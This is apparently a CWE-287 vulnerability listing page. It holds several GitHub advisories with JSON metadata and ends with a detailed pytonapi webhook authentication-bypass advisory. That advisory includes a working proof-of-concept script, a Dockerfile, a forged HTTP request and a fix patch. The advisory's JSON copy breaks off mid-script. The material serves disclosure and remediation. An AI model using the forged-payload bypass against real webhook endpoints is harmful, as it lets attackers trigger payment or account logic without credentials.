CWE-287
DiscouragedImproper Authentication
Abstraction: Class · Status: Draft
When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct.
6110 vulnerabilities reference this CWE, most recent first.
GHSA-3F5R-8CPV-JGC3
Vulnerability from github – Published: 2022-05-17 03:15 – Updated: 2022-05-17 03:15Johnson & Johnson Animas OneTouch Ping devices allow remote attackers to bypass authentication via replay attacks.
{
"affected": [],
"aliases": [
"CVE-2016-5086"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2016-10-05T10:59:00Z",
"severity": "CRITICAL"
},
"details": "Johnson \u0026 Johnson Animas OneTouch Ping devices allow remote attackers to bypass authentication via replay attacks.",
"id": "GHSA-3f5r-8cpv-jgc3",
"modified": "2022-05-17T03:15:21Z",
"published": "2022-05-17T03:15:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2016-5086"
},
{
"type": "WEB",
"url": "https://community.rapid7.com/community/infosec/blog/2016/10/04/r7-2016-07-multiple-vulnerabilities-in-animas-onetouch-ping-insulin-pump"
},
{
"type": "WEB",
"url": "https://ics-cert.us-cert.gov/advisories/ICSMA-16-279-01"
},
{
"type": "WEB",
"url": "http://www.kb.cert.org/vuls/id/884840"
},
{
"type": "WEB",
"url": "http://www.kb.cert.org/vuls/id/BLUU-A9SQRS"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/93351"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-3F84-GF8Q-GGCQ
Vulnerability from github – Published: 2022-05-17 01:31 – Updated: 2022-05-17 01:31IBM Sterling B2B Integrator 5.2 and Sterling File Gateway 2.2 do not invalidate a session upon a logout action, which allows remote attackers to bypass authentication by leveraging an unattended workstation.
{
"affected": [],
"aliases": [
"CVE-2013-5413"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2013-12-21T14:22:00Z",
"severity": "MODERATE"
},
"details": "IBM Sterling B2B Integrator 5.2 and Sterling File Gateway 2.2 do not invalidate a session upon a logout action, which allows remote attackers to bypass authentication by leveraging an unattended workstation.",
"id": "GHSA-3f84-gf8q-ggcq",
"modified": "2022-05-17T01:31:49Z",
"published": "2022-05-17T01:31:49Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2013-5413"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/87362"
},
{
"type": "WEB",
"url": "http://www-01.ibm.com/support/docview.wss?uid=swg1IC96051"
},
{
"type": "WEB",
"url": "http://www-01.ibm.com/support/docview.wss?uid=swg21657539"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-3F8R-4QWM-R7JF
Vulnerability from github – Published: 2021-05-18 15:39 – Updated: 2021-10-13 17:25Improper authentication is possible in Apache Traffic Control versions 3.0.0 and 3.0.1 if LDAP is enabled for login in the Traffic Ops API component. Given a username for a user that can be authenticated via LDAP, it is possible to improperly authenticate as that user without that user's correct password.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.0.1"
},
"package": {
"ecosystem": "Go",
"name": "github.com/apache/trafficcontrol"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.0.2-RC1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2019-12405"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": true,
"github_reviewed_at": "2021-05-17T21:00:28Z",
"nvd_published_at": "2019-09-09T17:15:00Z",
"severity": "CRITICAL"
},
"details": "Improper authentication is possible in Apache Traffic Control versions 3.0.0 and 3.0.1 if LDAP is enabled for login in the Traffic Ops API component. Given a username for a user that can be authenticated via LDAP, it is possible to improperly authenticate as that user without that user\u0027s correct password.",
"id": "GHSA-3f8r-4qwm-r7jf",
"modified": "2021-10-13T17:25:40Z",
"published": "2021-05-18T15:39:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-12405"
},
{
"type": "WEB",
"url": "https://github.com/apache/trafficcontrol/commit/f780aff77a52d52a37b4d1cc3e8e801c0b557356"
},
{
"type": "PACKAGE",
"url": "https://github.com/apache/trafficcontrol"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/e128e9d382f3b0d074e2b597ac58e1d92139394509d81ddbc9e3700e@%3Cusers.trafficcontrol.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r3c675031ac220b5eae64a9c84a03ee60045c6045738607dca4a96cb8@%3Ccommits.trafficcontrol.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/rc8bfd7d4f71d61e9193efcd4699eccbab3c202ec1d75ed9d502f08bf@%3Ccommits.trafficcontrol.apache.org%3E"
},
{
"type": "WEB",
"url": "https://support.f5.com/csp/article/K84141859"
},
{
"type": "WEB",
"url": "https://support.f5.com/csp/article/K84141859?utm_source=f5support\u0026amp;utm_medium=RSS"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Improper Authentication in Apache Traffic Control"
}
GHSA-3FC6-Q4CM-P67H
Vulnerability from github – Published: 2026-05-04 00:30 – Updated: 2026-05-04 00:30A security flaw has been discovered in YunaiV yudao-cloud up to 3.8.0. This affects the function doFilterInternal of the file JwtAuthenticationTokenFilter.java of the component Ruoyi-Vue-Pro. Performing a manipulation of the argument mock-token results in improper authentication. Remote exploitation of the attack is possible. The exploit has been released to the public and may be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.
{
"affected": [],
"aliases": [
"CVE-2026-7710"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-04T00:16:39Z",
"severity": "MODERATE"
},
"details": "A security flaw has been discovered in YunaiV yudao-cloud up to 3.8.0. This affects the function doFilterInternal of the file JwtAuthenticationTokenFilter.java of the component Ruoyi-Vue-Pro. Performing a manipulation of the argument mock-token results in improper authentication. Remote exploitation of the attack is possible. The exploit has been released to the public and may be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.",
"id": "GHSA-3fc6-q4cm-p67h",
"modified": "2026-05-04T00:30:25Z",
"published": "2026-05-04T00:30:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-7710"
},
{
"type": "WEB",
"url": "https://github.com/9str0IL/CVE/issues/5"
},
{
"type": "WEB",
"url": "https://vuldb.com/submit/806493"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/360886"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/360886/cti"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-3FCG-56FR-GPWW
Vulnerability from github – Published: 2022-02-26 00:00 – Updated: 2022-03-17 00:05In JetBrains Hub before 2022.1.14434, SAML request takeover was possible.
{
"affected": [],
"aliases": [
"CVE-2022-25262"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-02-25T20:15:00Z",
"severity": "CRITICAL"
},
"details": "In JetBrains Hub before 2022.1.14434, SAML request takeover was possible.",
"id": "GHSA-3fcg-56fr-gpww",
"modified": "2022-03-17T00:05:03Z",
"published": "2022-02-26T00:00:37Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-25262"
},
{
"type": "WEB",
"url": "https://blog.jetbrains.com"
},
{
"type": "WEB",
"url": "https://www.jetbrains.com/privacy-security/issues-fixed"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-3FCR-JVGP-7F58
Vulnerability from github – Published: 2026-07-28 17:09 – Updated: 2026-07-28 17:09Webhook Custom Path Authentication Bypass in pytonapi
Summary
TonapiWebhookDispatcher in pytonapi 2.2.0 fails to validate the Authorization header when a webhook handler is registered with the documented path= argument. During setup(), bearer tokens are stored only under the default suffix paths (e.g., /hook/account-tx), but the custom path (e.g., /hook/custom) is never added to the token map. When an incoming request arrives at the custom path, self._tokens.get(path) returns None, causing the if expected_token is not None guard to evaluate to False and silently skip authentication entirely. An unauthenticated remote attacker can POST arbitrary forged payloads to the custom webhook endpoint and trigger victim-defined handlers with full integrity impact.
Details
The vulnerability is a fail-open authentication check in pytonapi/webhook/dispatcher.py.
Token registration (setup) stores tokens only under default suffix paths:
# dispatcher.py lines 109-112
suffix = self.DEFAULT_SUFFIXES[event_type]
local_path = self._path + suffix # e.g., "/hook/account-tx"
webhook = await self._client.ensure(f"{self._url}{suffix}")
self._tokens[local_path] = webhook.token # custom path is NEVER stored here
Handler registration preserves the custom path in the handler tuple:
# dispatcher.py lines 339, 342
resolved_path = path or self._resolve_path(event_type) # -> "/hook/custom"
self._handlers[event_type].append((account_filter, fn, resolved_path))
Path routing (_build_path_map) correctly maps the custom path to the event type:
# dispatcher.py line 182
return {handlers[0][2]: et for et, handlers in self._handlers.items() if handlers}
# -> {"/hook/custom": WebhookEventType.ACCOUNT_TX}
Authentication check (fail-open):
# dispatcher.py lines 286-288
expected_token = self._tokens.get(path) # "/hook/custom" -> None
if expected_token is not None and authorization != f"Bearer {expected_token}":
raise TONAPIError("Invalid webhook token") # SKIPPED because expected_token is None
Because expected_token is None for any custom path, the condition expected_token is not None is always False. The raise is never reached regardless of what the Authorization header contains — or whether it is absent entirely. Execution continues to lines 291 and 297 where the attacker's payload is parsed and the victim handler is invoked.
The path= argument is an officially documented feature (see docs/webhooks/guide.mdx lines 140 and 153), meaning any user following the public documentation is vulnerable.
PoC
Requirements: Python 3.12, pytonapi 2.2.0 installed from source (commit e46c4a4).
Build and run with Docker:
# From the repository root
docker build -t vuln001-pytonapi -f vuln-001/Dockerfile .
docker run --rm vuln001-pytonapi
The Dockerfile installs pytonapi from the local source tree and executes poc.py.
What the PoC does:
- Creates a
TonapiWebhookDispatcherwith a custom-path handler (path="/hook/custom"). - Calls
setup()— tokens are registered only for/hook/account-tx. - Case A — calls
process("/hook/custom", forged_payload, authorization=None): noAuthorizationheader, handler fires. - Case B — calls
process("/hook/custom", forged_payload, authorization="Bearer totally-wrong-token"): wrong token, handler still fires. - Case C (control) — same attack against the default path
/hook/account-txwith no auth: correctly raisesTONAPIError. - Case D (control) — default path with valid token: correctly accepted.
Simulated malicious HTTP request routed to the victim dispatcher:
POST /hook/custom HTTP/1.1
Host: victim.example
Content-Type: application/json
# No Authorization header
{"event_type":"account_tx","account_id":"0:victim","lt":1,"tx_hash":"FORGED_TX_HASH"}
Expected output confirming the vulnerability:
[dispatcher_a] _tokens map: {'/hook/account-tx': 'real-secret-token-abc123'}
Case A: VULNERABLE — handler invoked with NO Authorization header; custom_called=['FORGED_TX_HASH']
Case B: VULNERABLE — handler invoked with WRONG Authorization header; custom_called=['FORGED_TX_HASH']
Case C: CORRECTLY_REJECTED — Invalid webhook token
Case D: CORRECTLY_ACCEPTED — default path with valid auth
[RESULT] VULNERABILITY CONFIRMED
Remediation (patch):
--- a/pytonapi/webhook/dispatcher.py
+++ b/pytonapi/webhook/dispatcher.py
@@
def _build_path_map(self) -> dict[str, WebhookEventType]:
- return {handlers[0][2]: et for et, handlers in self._handlers.items() if handlers}
+ return {path: et for et, handlers in self._handlers.items() for _, _, path in handlers}
@@
- suffix = self.DEFAULT_SUFFIXES[event_type]
- local_path = self._path + suffix
- webhook = await self._client.ensure(f"{self._url}{suffix}")
- self._tokens[local_path] = webhook.token
+ local_paths = sorted({path for _, _, path in handlers})
+ for local_path in local_paths:
+ endpoint = self._endpoint_for_path(local_path)
+ webhook = await self._client.ensure(endpoint)
+ self._tokens[local_path] = webhook.token
@@
+ def _endpoint_for_path(self, path: str) -> str:
+ parsed = urlparse(self._url)
+ return parsed._replace(path=path, params="", query="", fragment="").geturl()
Impact
This is an Improper Authentication vulnerability (CWE-287). Any application that:
- Uses
TonapiWebhookDispatcherfrom pytonapi 2.2.0, and - Registers at least one handler using the documented
path=keyword argument,
is fully exposed. The webhook endpoint becomes publicly callable without credentials. An unauthenticated network attacker can:
- Forge arbitrary TON blockchain events (e.g., fake
account_txnotifications). - Trigger victim-defined business logic — payment processing, account state updates, notification dispatch — with attacker-controlled data.
- Cause financial or operational harm depending on what the victim handler does.
Confidentiality is not directly affected (the attacker sends data, does not read it). Availability is not the primary impact. Integrity is critically impacted because the attacker fully controls the event data delivered to the handler.
Reproduction artifacts
Dockerfile
FROM python:3.12-slim
WORKDIR /app
# Copy the repository source code
COPY repo/ /app/repo/
# Install pytonapi from local source (exact commit under test)
RUN pip install --no-cache-dir /app/repo/
# Copy the proof-of-concept script
COPY vuln-001/poc.py /app/poc.py
# Run the PoC by default
CMD ["python3", "/app/poc.py"]
poc.py
"""
PoC for VULN-001: Webhook custom path authentication bypass
===========================================================
CVE candidate: CWE-287 — Improper Authentication
Affected: pytonapi 2.2.0 (commit e46c4a4)
File: pytonapi/webhook/dispatcher.py
Root cause
----------
When a handler is registered with the documented `path=` argument:
@dispatcher.account_tx(path="/hook/custom")
async def on_tx(event): ...
setup() stores the bearer token ONLY for the default-suffix path:
local_path = self._path + suffix # -> "/hook/account-tx"
self._tokens[local_path] = webhook.token # line 112
The custom path "/hook/custom" is never added to _tokens.
_build_path_map() correctly routes "/hook/custom" -> ACCOUNT_TX
because it reads handlers[0][2] which IS the custom path when the
custom-path handler is the only one registered.
In process():
expected_token = self._tokens.get(path) # line 286 -> None (missing)
if expected_token is not None and ...: # line 287 -> False (SKIP)
raise TONAPIError("Invalid webhook token")
Because expected_token is None the auth check is bypassed entirely
(fail-open). An attacker can POST any forged payload to the custom
path without any Authorization header and trigger the victim handler.
Test matrix
-----------
Case A: custom path + no auth -> SHOULD raise (BUG: passes)
Case B: custom path + wrong auth token -> SHOULD raise (BUG: passes)
Case C: default path + no auth -> SHOULD raise (control: correctly raises)
Case D: default path + valid auth -> SHOULD pass (control: correctly passes)
"""
import asyncio
import sys
from pytonapi.exceptions import TONAPIError
from pytonapi.webhook.dispatcher import TonapiWebhookDispatcher
# ---------------------------------------------------------------------------
# Minimal stubs — no real network I/O needed
# ---------------------------------------------------------------------------
class FakeWebhookEndpoint:
"""Simulates the TONAPI webhook object returned by client.ensure()."""
def __init__(self, token: str) -> None:
self.token = token
async def sync_accounts(self, accounts: list) -> None:
pass
class FakeWebhookClient:
"""Simulates TonapiWebhookClient: records which endpoints were registered."""
def __init__(self) -> None:
self.registered_endpoints: list[str] = []
async def create_session(self) -> None:
pass
async def ensure(self, endpoint: str) -> FakeWebhookEndpoint:
self.registered_endpoints.append(endpoint)
return FakeWebhookEndpoint(token="real-secret-token-abc123")
async def close_session(self) -> None:
pass
# ---------------------------------------------------------------------------
# PoC
# ---------------------------------------------------------------------------
async def run_poc() -> bool:
"""Execute all test cases and return True if the vulnerability is confirmed."""
# -----------------------------------------------------------------
# Dispatcher A: only a CUSTOM path handler (the vulnerable scenario)
# -----------------------------------------------------------------
client_a = FakeWebhookClient()
dispatcher_a = TonapiWebhookDispatcher(
"https://victim.example/hook",
client=client_a,
accounts=["0:victim"],
)
custom_called: list[str] = []
# Victim uses the documented path= feature (see docs/webhooks/guide.mdx:140)
@dispatcher_a.account_tx("0:victim", path="/hook/custom")
async def on_custom_tx(event) -> None:
custom_called.append(event.tx_hash)
await dispatcher_a.setup()
# -----------------------------------------------------------------
# Dispatcher B: only a DEFAULT path handler (control group)
# -----------------------------------------------------------------
client_b = FakeWebhookClient()
dispatcher_b = TonapiWebhookDispatcher(
"https://victim.example/hook",
client=client_b,
accounts=["0:victim"],
)
default_called: list[str] = []
@dispatcher_b.account_tx("0:victim")
async def on_default_tx(event) -> None:
default_called.append(event.tx_hash)
await dispatcher_b.setup()
print("=" * 60)
print("VULN-001: Webhook custom path authentication bypass PoC")
print("=" * 60)
print(f"[dispatcher_a] registered paths : {dispatcher_a.paths}")
print(f"[dispatcher_a] endpoints called : {client_a.registered_endpoints}")
print(f"[dispatcher_a] _tokens map : {dispatcher_a._tokens}")
print()
print(f"[dispatcher_b] registered paths : {dispatcher_b.paths}")
print(f"[dispatcher_b] endpoints called : {client_b.registered_endpoints}")
print(f"[dispatcher_b] _tokens map : {dispatcher_b._tokens}")
print()
forged_payload = {
"event_type": "account_tx",
"account_id": "0:victim",
"lt": 1,
"tx_hash": "FORGED_TX_HASH",
}
results: dict[str, str] = {}
# ------------------------------------------------------------------
# Case A: custom path, NO auth -> BUG: should raise, actually passes
# ------------------------------------------------------------------
custom_called.clear()
try:
await dispatcher_a.process(
"/hook/custom",
forged_payload,
authorization=None,
)
if "FORGED_TX_HASH" in custom_called:
results["A"] = (
"VULNERABLE — handler invoked with NO Authorization header; "
"custom_called=" + repr(custom_called)
)
else:
results["A"] = "UNCERTAIN — process() did not raise but handler was not called"
except TONAPIError as exc:
results["A"] = f"NOT_VULNERABLE (raised) — {exc}"
# ------------------------------------------------------------------
# Case B: custom path, WRONG auth -> BUG: should raise, actually passes
# ------------------------------------------------------------------
custom_called.clear()
try:
await dispatcher_a.process(
"/hook/custom",
forged_payload,
authorization="Bearer totally-wrong-token",
)
if "FORGED_TX_HASH" in custom_called:
results["B"] = (
"VULNERABLE — handler invoked with WRONG Authorization header; "
"custom_called=" + repr(custom_called)
)
else:
results["B"] = "UNCERTAIN — process() did not raise but handler was not called"
except TONAPIError as exc:
results["B"] = f"NOT_VULNERABLE (raised) — {exc}"
# ------------------------------------------------------------------
# Case C: default path, NO auth -> must raise (control: works correctly)
# ------------------------------------------------------------------
default_called.clear()
try:
await dispatcher_b.process(
"/hook/account-tx",
forged_payload,
authorization=None,
)
results["C"] = "UNEXPECTED_PASS — default path accepted no-auth (unexpected)"
except TONAPIError as exc:
results["C"] = f"CORRECTLY_REJECTED — {exc}"
# ------------------------------------------------------------------
# Case D: default path, VALID auth -> baseline, must succeed (control)
# ------------------------------------------------------------------
default_called.clear()
try:
await dispatcher_b.process(
"/hook/account-tx",
forged_payload,
authorization="Bearer real-secret-token-abc123",
)
if "FORGED_TX_HASH" in default_called:
results["D"] = "CORRECTLY_ACCEPTED — default path with valid auth"
else:
results["D"] = "UNCERTAIN — process() did not raise but handler was not called"
except TONAPIError as exc:
results["D"] = f"UNEXPECTED_REJECTION — {exc}"
# ------------------------------------------------------------------
# Summary
# ------------------------------------------------------------------
print("Test results:")
for case, result in results.items():
print(f" Case {case}: {result}")
print()
vuln_confirmed = (
"VULNERABLE" in results.get("A", "")
and "VULNERABLE" in results.get("B", "")
and "CORRECTLY_REJECTED" in results.get("C", "")
and "CORRECTLY_ACCEPTED" in results.get("D", "")
)
if vuln_confirmed:
print("[RESULT] VULNERABILITY CONFIRMED")
print(" dispatcher_a._tokens has NO entry for /hook/custom (only for /hook/account-tx)")
print(" => expected_token=None => auth check skipped => forged handler called")
print(" Attacker can POST any payload to /hook/custom without credentials.")
else:
print("[RESULT] VULNERABILITY NOT CONFIRMED")
print(" Check individual case results above for details.")
return vuln_confirmed
if __name__ == "__main__":
confirmed = asyncio.run(run_poc())
sys.exit(0 if confirmed else 1)
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "pytonapi"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0"
},
{
"fixed": "2.2.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54635"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-28T17:09:02Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Webhook Custom Path Authentication Bypass in pytonapi\n\n### Summary\n\n`TonapiWebhookDispatcher` in pytonapi 2.2.0 fails to validate the `Authorization` header when a webhook handler is registered with the documented `path=` argument. During `setup()`, bearer tokens are stored only under the default suffix paths (e.g., `/hook/account-tx`), but the custom path (e.g., `/hook/custom`) is never added to the token map. When an incoming request arrives at the custom path, `self._tokens.get(path)` returns `None`, causing the `if expected_token is not None` guard to evaluate to `False` and silently skip authentication entirely. An unauthenticated remote attacker can POST arbitrary forged payloads to the custom webhook endpoint and trigger victim-defined handlers with full integrity impact.\n\n### Details\n\nThe vulnerability is a fail-open authentication check in `pytonapi/webhook/dispatcher.py`.\n\n**Token registration (setup)** stores tokens only under default suffix paths:\n\n```python\n# dispatcher.py lines 109-112\nsuffix = self.DEFAULT_SUFFIXES[event_type]\nlocal_path = self._path + suffix # e.g., \"/hook/account-tx\"\nwebhook = await self._client.ensure(f\"{self._url}{suffix}\")\nself._tokens[local_path] = webhook.token # custom path is NEVER stored here\n```\n\n**Handler registration** preserves the custom path in the handler tuple:\n\n```python\n# dispatcher.py lines 339, 342\nresolved_path = path or self._resolve_path(event_type) # -\u003e \"/hook/custom\"\nself._handlers[event_type].append((account_filter, fn, resolved_path))\n```\n\n**Path routing** (`_build_path_map`) correctly maps the custom path to the event type:\n\n```python\n# dispatcher.py line 182\nreturn {handlers[0][2]: et for et, handlers in self._handlers.items() if handlers}\n# -\u003e {\"/hook/custom\": WebhookEventType.ACCOUNT_TX}\n```\n\n**Authentication check** (fail-open):\n\n```python\n# dispatcher.py lines 286-288\nexpected_token = self._tokens.get(path) # \"/hook/custom\" -\u003e None\nif expected_token is not None and authorization != f\"Bearer {expected_token}\":\n raise TONAPIError(\"Invalid webhook token\") # SKIPPED because expected_token is None\n```\n\nBecause `expected_token` is `None` for any custom path, the condition `expected_token is not None` is always `False`. The `raise` is never reached regardless of what the `Authorization` header contains \u2014 or whether it is absent entirely. Execution continues to lines 291 and 297 where the attacker\u0027s payload is parsed and the victim handler is invoked.\n\nThe `path=` argument is an officially documented feature (see `docs/webhooks/guide.mdx` lines 140 and 153), meaning any user following the public documentation is vulnerable.\n\n### PoC\n\n**Requirements:** Python 3.12, pytonapi 2.2.0 installed from source (commit `e46c4a4`).\n\n**Build and run with Docker:**\n\n```bash\n# From the repository root\ndocker build -t vuln001-pytonapi -f vuln-001/Dockerfile .\ndocker run --rm vuln001-pytonapi\n```\n\nThe Dockerfile installs pytonapi from the local source tree and executes `poc.py`.\n\n**What the PoC does:**\n\n1. Creates a `TonapiWebhookDispatcher` with a custom-path handler (`path=\"/hook/custom\"`).\n2. Calls `setup()` \u2014 tokens are registered only for `/hook/account-tx`.\n3. **Case A** \u2014 calls `process(\"/hook/custom\", forged_payload, authorization=None)`: no `Authorization` header, handler fires.\n4. **Case B** \u2014 calls `process(\"/hook/custom\", forged_payload, authorization=\"Bearer totally-wrong-token\")`: wrong token, handler still fires.\n5. **Case C** (control) \u2014 same attack against the default path `/hook/account-tx` with no auth: correctly raises `TONAPIError`.\n6. **Case D** (control) \u2014 default path with valid token: correctly accepted.\n\n**Simulated malicious HTTP request routed to the victim dispatcher:**\n\n```\nPOST /hook/custom HTTP/1.1\nHost: victim.example\nContent-Type: application/json\n# No Authorization header\n\n{\"event_type\":\"account_tx\",\"account_id\":\"0:victim\",\"lt\":1,\"tx_hash\":\"FORGED_TX_HASH\"}\n```\n\n**Expected output confirming the vulnerability:**\n\n```\n[dispatcher_a] _tokens map: {\u0027/hook/account-tx\u0027: \u0027real-secret-token-abc123\u0027}\n\nCase A: VULNERABLE \u2014 handler invoked with NO Authorization header; custom_called=[\u0027FORGED_TX_HASH\u0027]\nCase B: VULNERABLE \u2014 handler invoked with WRONG Authorization header; custom_called=[\u0027FORGED_TX_HASH\u0027]\nCase C: CORRECTLY_REJECTED \u2014 Invalid webhook token\nCase D: CORRECTLY_ACCEPTED \u2014 default path with valid auth\n\n[RESULT] VULNERABILITY CONFIRMED\n```\n\n**Remediation (patch):**\n\n```diff\n--- a/pytonapi/webhook/dispatcher.py\n+++ b/pytonapi/webhook/dispatcher.py\n@@\n def _build_path_map(self) -\u003e dict[str, WebhookEventType]:\n- return {handlers[0][2]: et for et, handlers in self._handlers.items() if handlers}\n+ return {path: et for et, handlers in self._handlers.items() for _, _, path in handlers}\n@@\n- suffix = self.DEFAULT_SUFFIXES[event_type]\n- local_path = self._path + suffix\n- webhook = await self._client.ensure(f\"{self._url}{suffix}\")\n- self._tokens[local_path] = webhook.token\n+ local_paths = sorted({path for _, _, path in handlers})\n+ for local_path in local_paths:\n+ endpoint = self._endpoint_for_path(local_path)\n+ webhook = await self._client.ensure(endpoint)\n+ self._tokens[local_path] = webhook.token\n@@\n+ def _endpoint_for_path(self, path: str) -\u003e str:\n+ parsed = urlparse(self._url)\n+ return parsed._replace(path=path, params=\"\", query=\"\", fragment=\"\").geturl()\n```\n\n### Impact\n\nThis is an **Improper Authentication** vulnerability (CWE-287). Any application that:\n\n1. Uses `TonapiWebhookDispatcher` from pytonapi 2.2.0, **and**\n2. Registers at least one handler using the documented `path=` keyword argument,\n\nis fully exposed. The webhook endpoint becomes publicly callable without credentials. An unauthenticated network attacker can:\n\n- Forge arbitrary TON blockchain events (e.g., fake `account_tx` notifications).\n- Trigger victim-defined business logic \u2014 payment processing, account state updates, notification dispatch \u2014 with attacker-controlled data.\n- Cause financial or operational harm depending on what the victim handler does.\n\nConfidentiality is not directly affected (the attacker sends data, does not read it). Availability is not the primary impact. Integrity is critically impacted because the attacker fully controls the event data delivered to the handler.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\nFROM python:3.12-slim\n\nWORKDIR /app\n\n# Copy the repository source code\nCOPY repo/ /app/repo/\n\n# Install pytonapi from local source (exact commit under test)\nRUN pip install --no-cache-dir /app/repo/\n\n# Copy the proof-of-concept script\nCOPY vuln-001/poc.py /app/poc.py\n\n# Run the PoC by default\nCMD [\"python3\", \"/app/poc.py\"]\n```\n\n#### `poc.py`\n\n```python\n\"\"\"\nPoC for VULN-001: Webhook custom path authentication bypass\n===========================================================\nCVE candidate: CWE-287 \u2014 Improper Authentication\nAffected: pytonapi 2.2.0 (commit e46c4a4)\nFile: pytonapi/webhook/dispatcher.py\n\nRoot cause\n----------\nWhen a handler is registered with the documented `path=` argument:\n\n @dispatcher.account_tx(path=\"/hook/custom\")\n async def on_tx(event): ...\n\nsetup() stores the bearer token ONLY for the default-suffix path:\n\n local_path = self._path + suffix # -\u003e \"/hook/account-tx\"\n self._tokens[local_path] = webhook.token # line 112\n\nThe custom path \"/hook/custom\" is never added to _tokens.\n\n_build_path_map() correctly routes \"/hook/custom\" -\u003e ACCOUNT_TX\nbecause it reads handlers[0][2] which IS the custom path when the\ncustom-path handler is the only one registered.\n\nIn process():\n\n expected_token = self._tokens.get(path) # line 286 -\u003e None (missing)\n if expected_token is not None and ...: # line 287 -\u003e False (SKIP)\n raise TONAPIError(\"Invalid webhook token\")\n\nBecause expected_token is None the auth check is bypassed entirely\n(fail-open). An attacker can POST any forged payload to the custom\npath without any Authorization header and trigger the victim handler.\n\nTest matrix\n-----------\nCase A: custom path + no auth -\u003e SHOULD raise (BUG: passes)\nCase B: custom path + wrong auth token -\u003e SHOULD raise (BUG: passes)\nCase C: default path + no auth -\u003e SHOULD raise (control: correctly raises)\nCase D: default path + valid auth -\u003e SHOULD pass (control: correctly passes)\n\"\"\"\n\nimport asyncio\nimport sys\n\nfrom pytonapi.exceptions import TONAPIError\nfrom pytonapi.webhook.dispatcher import TonapiWebhookDispatcher\n\n\n# ---------------------------------------------------------------------------\n# Minimal stubs \u2014 no real network I/O needed\n# ---------------------------------------------------------------------------\n\nclass FakeWebhookEndpoint:\n \"\"\"Simulates the TONAPI webhook object returned by client.ensure().\"\"\"\n\n def __init__(self, token: str) -\u003e None:\n self.token = token\n\n async def sync_accounts(self, accounts: list) -\u003e None:\n pass\n\n\nclass FakeWebhookClient:\n \"\"\"Simulates TonapiWebhookClient: records which endpoints were registered.\"\"\"\n\n def __init__(self) -\u003e None:\n self.registered_endpoints: list[str] = []\n\n async def create_session(self) -\u003e None:\n pass\n\n async def ensure(self, endpoint: str) -\u003e FakeWebhookEndpoint:\n self.registered_endpoints.append(endpoint)\n return FakeWebhookEndpoint(token=\"real-secret-token-abc123\")\n\n async def close_session(self) -\u003e None:\n pass\n\n\n# ---------------------------------------------------------------------------\n# PoC\n# ---------------------------------------------------------------------------\n\nasync def run_poc() -\u003e bool:\n \"\"\"Execute all test cases and return True if the vulnerability is confirmed.\"\"\"\n\n # -----------------------------------------------------------------\n # Dispatcher A: only a CUSTOM path handler (the vulnerable scenario)\n # -----------------------------------------------------------------\n client_a = FakeWebhookClient()\n dispatcher_a = TonapiWebhookDispatcher(\n \"https://victim.example/hook\",\n client=client_a,\n accounts=[\"0:victim\"],\n )\n custom_called: list[str] = []\n\n # Victim uses the documented path= feature (see docs/webhooks/guide.mdx:140)\n @dispatcher_a.account_tx(\"0:victim\", path=\"/hook/custom\")\n async def on_custom_tx(event) -\u003e None:\n custom_called.append(event.tx_hash)\n\n await 